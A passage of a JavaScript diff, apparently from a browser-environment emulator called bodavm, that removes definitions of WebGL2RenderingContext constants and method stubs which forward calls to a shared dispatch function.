enumerable:true, writable:false, value:33326},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG16F", {configurable:false, enumerable:true, writable:false, value:33327},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG32F", {configurable:false, enumerable:true, writable:false, value:33328},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R8I", {configurable:false, enumerable:true, writable:false, value:33329},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R8UI", {configurable:false, enumerable:true, writable:false, value:33330},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R16I", {configurable:false, enumerable:true, writable:false, value:33331},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R16UI", {configurable:false, enumerable:true, writable:false, value:33332},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R32I", {configurable:false, enumerable:true, writable:false, value:33333},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R32UI", {configurable:false, enumerable:true, writable:false, value:33334},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG8I", {configurable:false, enumerable:true, writable:false, value:33335},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG8UI", {configurable:false, enumerable:true, writable:false, value:33336},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG16I", {configurable:false, enumerable:true, writable:false, value:33337},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG16UI", {configurable:false, enumerable:true, writable:false, value:33338},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG32I", {configurable:false, enumerable:true, writable:false, value:33339},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG32UI", {configurable:false, enumerable:true, writable:false, value:33340},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ARRAY_BINDING", {configurable:false, enumerable:true, writable:false, value:34229},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "R8_SNORM", {configurable:false, enumerable:true, writable:false, value:36756},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RG8_SNORM", {configurable:false, enumerable:true, writable:false, value:36757},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB8_SNORM", {configurable:false, enumerable:true, writable:false, value:36758},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGBA8_SNORM", {configurable:false, enumerable:true, writable:false, value:36759},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SIGNED_NORMALIZED", {configurable:false, enumerable:true, writable:false, value:36764},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COPY_READ_BUFFER", {configurable:false, enumerable:true, writable:false, value:36662},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COPY_WRITE_BUFFER", {configurable:false, enumerable:true, writable:false, value:36663},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COPY_READ_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:36662},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "COPY_WRITE_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:36663},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BUFFER", {configurable:false, enumerable:true, writable:false, value:35345},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BUFFER_BINDING", {configurable:false, enumerable:true, writable:false, value:35368},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BUFFER_START", {configurable:false, enumerable:true, writable:false, value:35369},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BUFFER_SIZE", {configurable:false, enumerable:true, writable:false, value:35370},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VERTEX_UNIFORM_BLOCKS", {configurable:false, enumerable:true, writable:false, value:35371},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_FRAGMENT_UNIFORM_BLOCKS", {configurable:false, enumerable:true, writable:false, value:35373},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_COMBINED_UNIFORM_BLOCKS", {configurable:false, enumerable:true, writable:false, value:35374},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_UNIFORM_BUFFER_BINDINGS", {configurable:false, enumerable:true, writable:false, value:35375},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_UNIFORM_BLOCK_SIZE", {configurable:false, enumerable:true, writable:false, value:35376},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_COMBINED_VERTEX_UNIFORM_COMPONENTS", {configurable:false, enumerable:true, writable:false, value:35377},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_COMBINED_FRAGMENT_UNIFORM_COMPONENTS", {configurable:false, enumerable:true, writable:false, value:35379},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BUFFER_OFFSET_ALIGNMENT", {configurable:false, enumerable:true, writable:false, value:35380},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ACTIVE_UNIFORM_BLOCKS", {configurable:false, enumerable:true, writable:false, value:35382},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_TYPE", {configurable:false, enumerable:true, writable:false, value:35383},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_SIZE", {configurable:false, enumerable:true, writable:false, value:35384},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_INDEX", {configurable:false, enumerable:true, writable:false, value:35386},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_OFFSET", {configurable:false, enumerable:true, writable:false, value:35387},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_ARRAY_STRIDE", {configurable:false, enumerable:true, writable:false, value:35388},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_MATRIX_STRIDE", {configurable:false, enumerable:true, writable:false, value:35389},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_IS_ROW_MAJOR", {configurable:false, enumerable:true, writable:false, value:35390},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_BINDING", {configurable:false, enumerable:true, writable:false, value:35391},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_DATA_SIZE", {configurable:false, enumerable:true, writable:false, value:35392},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_ACTIVE_UNIFORMS", {configurable:false, enumerable:true, writable:false, value:35394},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_ACTIVE_UNIFORM_INDICES", {configurable:false, enumerable:true, writable:false, value:35395},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_REFERENCED_BY_VERTEX_SHADER", {configurable:false, enumerable:true, writable:false, value:35396},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNIFORM_BLOCK_REFERENCED_BY_FRAGMENT_SHADER", {configurable:false, enumerable:true, writable:false, value:35398},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INVALID_INDEX", {configurable:false, enumerable:true, writable:false, value:4294967295},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_VERTEX_OUTPUT_COMPONENTS", {configurable:false, enumerable:true, writable:false, value:37154},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_FRAGMENT_INPUT_COMPONENTS", {configurable:false, enumerable:true, writable:false, value:37157},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_SERVER_WAIT_TIMEOUT", {configurable:false, enumerable:true, writable:false, value:37137},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "OBJECT_TYPE", {configurable:false, enumerable:true, writable:false, value:37138},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SYNC_CONDITION", {configurable:false, enumerable:true, writable:false, value:37139},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SYNC_STATUS", {configurable:false, enumerable:true, writable:false, value:37140},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SYNC_FLAGS", {configurable:false, enumerable:true, writable:false, value:37141},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SYNC_FENCE", {configurable:false, enumerable:true, writable:false, value:37142},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SYNC_GPU_COMMANDS_COMPLETE", {configurable:false, enumerable:true, writable:false, value:37143},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "UNSIGNALED", {configurable:false, enumerable:true, writable:false, value:37144},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SIGNALED", {configurable:false, enumerable:true, writable:false, value:37145},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ALREADY_SIGNALED", {configurable:false, enumerable:true, writable:false, value:37146},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TIMEOUT_EXPIRED", {configurable:false, enumerable:true, writable:false, value:37147},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "CONDITION_SATISFIED", {configurable:false, enumerable:true, writable:false, value:37148},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "WAIT_FAILED", {configurable:false, enumerable:true, writable:false, value:37149},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SYNC_FLUSH_COMMANDS_BIT", {configurable:false, enumerable:true, writable:false, value:1},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "VERTEX_ATTRIB_ARRAY_DIVISOR", {configurable:false, enumerable:true, writable:false, value:35070},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ANY_SAMPLES_PASSED", {configurable:false, enumerable:true, writable:false, value:35887},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "ANY_SAMPLES_PASSED_CONSERVATIVE", {configurable:false, enumerable:true, writable:false, value:36202},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "SAMPLER_BINDING", {configurable:false, enumerable:true, writable:false, value:35097},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "RGB10_A2UI", {configurable:false, enumerable:true, writable:false, value:36975},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "INT_2_10_10_10_REV", {configurable:false, enumerable:true, writable:false, value:36255},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK", {configurable:false, enumerable:true, writable:false, value:36386},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_PAUSED", {configurable:false, enumerable:true, writable:false, value:36387},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_ACTIVE", {configurable:false, enumerable:true, writable:false, value:36388},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TRANSFORM_FEEDBACK_BINDING", {configurable:false, enumerable:true, writable:false, value:36389},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_IMMUTABLE_FORMAT", {configurable:false, enumerable:true, writable:false, value:37167},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_ELEMENT_INDEX", {configurable:false, enumerable:true, writable:false, value:36203},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TEXTURE_IMMUTABLE_LEVELS", {configurable:false, enumerable:true, writable:false, value:33503},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "TIMEOUT_IGNORED", {configurable:false, enumerable:true, writable:false, value:-1},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "MAX_CLIENT_WAIT_TIMEOUT_WEBGL", {configurable:false, enumerable:true, writable:false, value:37447},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "activeTexture", {configurable:true, enumerable:true, writable:true, value:function activeTexture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "activeTexture", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "attachShader", {configurable:true, enumerable:true, writable:true, value:function attachShader (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "attachShader", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "beginQuery", {configurable:true, enumerable:true, writable:true, value:function beginQuery (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "beginQuery", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "beginTransformFeedback", {configurable:true, enumerable:true, writable:true, value:function beginTransformFeedback (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "beginTransformFeedback", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "bindAttribLocation", {configurable:true, enumerable:true, writable:true, value:function bindAttribLocation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "bindAttribLocation", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "bindBufferBase", {configurable:true, enumerable:true, writable:true, value:function bindBufferBase (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "bindBufferBase", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "bindBufferRange", {configurable:true, enumerable:true, writable:true, value:function bindBufferRange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "bindBufferRange", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "bindRenderbuffer", {configurable:true, enumerable:true, writable:true, value:function bindRenderbuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "bindRenderbuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "bindSampler", {configurable:true, enumerable:true, writable:true, value:function bindSampler (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "bindSampler", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "bindTransformFeedback", {configurable:true, enumerable:true, writable:true, value:function bindTransformFeedback (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "bindTransformFeedback", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "bindVertexArray", {configurable:true, enumerable:true, writable:true, value:function bindVertexArray (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "bindVertexArray", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "blendColor", {configurable:true, enumerable:true, writable:true, value:function blendColor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "blendColor", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "blendEquation", {configurable:true, enumerable:true, writable:true, value:function blendEquation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "blendEquation", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "blendEquationSeparate", {configurable:true, enumerable:true, writable:true, value:function blendEquationSeparate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "blendEquationSeparate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "blendFunc", {configurable:true, enumerable:true, writable:true, value:function blendFunc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "blendFunc", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "blendFuncSeparate", {configurable:true, enumerable:true, writable:true, value:function blendFuncSeparate (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "blendFuncSeparate", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "blitFramebuffer", {configurable:true, enumerable:true, writable:true, value:function blitFramebuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "blitFramebuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "bufferData", {configurable:true, enumerable:true, writable:true, value:function bufferData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "bufferData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "bufferSubData", {configurable:true, enumerable:true, writable:true, value:function bufferSubData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "bufferSubData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "checkFramebufferStatus", {configurable:true, enumerable:true, writable:true, value:function checkFramebufferStatus (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "checkFramebufferStatus", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "clientWaitSync", {configurable:true, enumerable:true, writable:true, value:function clientWaitSync (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "clientWaitSync", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "compileShader", {configurable:true, enumerable:true, writable:true, value:function compileShader (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "compileShader", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "compressedTexImage2D", {configurable:true, enumerable:true, writable:true, value:function compressedTexImage2D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "compressedTexImage2D", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "compressedTexImage3D", {configurable:true, enumerable:true, writable:true, value:function compressedTexImage3D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "compressedTexImage3D", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "compressedTexSubImage2D", {configurable:true, enumerable:true, writable:true, value:function compressedTexSubImage2D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "compressedTexSubImage2D", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "compressedTexSubImage3D", {configurable:true, enumerable:true, writable:true, value:function compressedTexSubImage3D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "compressedTexSubImage3D", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "copyBufferSubData", {configurable:true, enumerable:true, writable:true, value:function copyBufferSubData (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "copyBufferSubData", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "copyTexImage2D", {configurable:true, enumerable:true, writable:true, value:function copyTexImage2D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "copyTexImage2D", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "copyTexSubImage2D", {configurable:true, enumerable:true, writable:true, value:function copyTexSubImage2D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "copyTexSubImage2D", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "copyTexSubImage3D", {configurable:true, enumerable:true, writable:true, value:function copyTexSubImage3D (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "copyTexSubImage3D", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "createBuffer", {configurable:true, enumerable:true, writable:true, value:function createBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "createBuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "createFramebuffer", {configurable:true, enumerable:true, writable:true, value:function createFramebuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "createFramebuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "createProgram", {configurable:true, enumerable:true, writable:true, value:function createProgram (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "createProgram", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "createQuery", {configurable:true, enumerable:true, writable:true, value:function createQuery (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "createQuery", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "createRenderbuffer", {configurable:true, enumerable:true, writable:true, value:function createRenderbuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "createRenderbuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "createSampler", {configurable:true, enumerable:true, writable:true, value:function createSampler (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "createSampler", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "createShader", {configurable:true, enumerable:true, writable:true, value:function createShader (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "createShader", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "createTexture", {configurable:true, enumerable:true, writable:true, value:function createTexture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "createTexture", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "createTransformFeedback", {configurable:true, enumerable:true, writable:true, value:function createTransformFeedback (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "createTransformFeedback", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "createVertexArray", {configurable:true, enumerable:true, writable:true, value:function createVertexArray (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "createVertexArray", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "cullFace", {configurable:true, enumerable:true, writable:true, value:function cullFace (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "cullFace", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "deleteBuffer", {configurable:true, enumerable:true, writable:true, value:function deleteBuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "deleteBuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "deleteFramebuffer", {configurable:true, enumerable:true, writable:true, value:function deleteFramebuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "deleteFramebuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "deleteProgram", {configurable:true, enumerable:true, writable:true, value:function deleteProgram (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "deleteProgram", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "deleteQuery", {configurable:true, enumerable:true, writable:true, value:function deleteQuery (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "deleteQuery", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "deleteRenderbuffer", {configurable:true, enumerable:true, writable:true, value:function deleteRenderbuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "deleteRenderbuffer", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "deleteSampler", {configurable:true, enumerable:true, writable:true, value:function deleteSampler (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "deleteSampler", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "deleteShader", {configurable:true, enumerable:true, writable:true, value:function deleteShader (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "deleteShader", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "deleteSync", {configurable:true, enumerable:true, writable:true, value:function deleteSync (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "deleteSync", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "deleteTexture", {configurable:true, enumerable:true, writable:true, value:function deleteTexture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "deleteTexture", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "deleteTransformFeedback", {configurable:true, enumerable:true, writable:true, value:function deleteTransformFeedback (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "deleteTransformFeedback", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "deleteVertexArray", {configurable:true, enumerable:true, writable:true, value:function deleteVertexArray (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "deleteVertexArray", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "depthFunc", {configurable:true, enumerable:true, writable:true, value:function depthFunc (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "depthFunc", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "depthMask", {configurable:true, enumerable:true, writable:true, value:function depthMask (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "depthMask", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "depthRange", {configurable:true, enumerable:true, writable:true, value:function depthRange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['WebGL2RenderingContext'].prototype, "WebGL2RenderingContext", "depthRange", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('WebGL2RenderingContext', "detachShader", {configurable:true, enumerable:true, writable:true, value:function detachShader (){return bodavm.toolsFunc.dispatch(this, 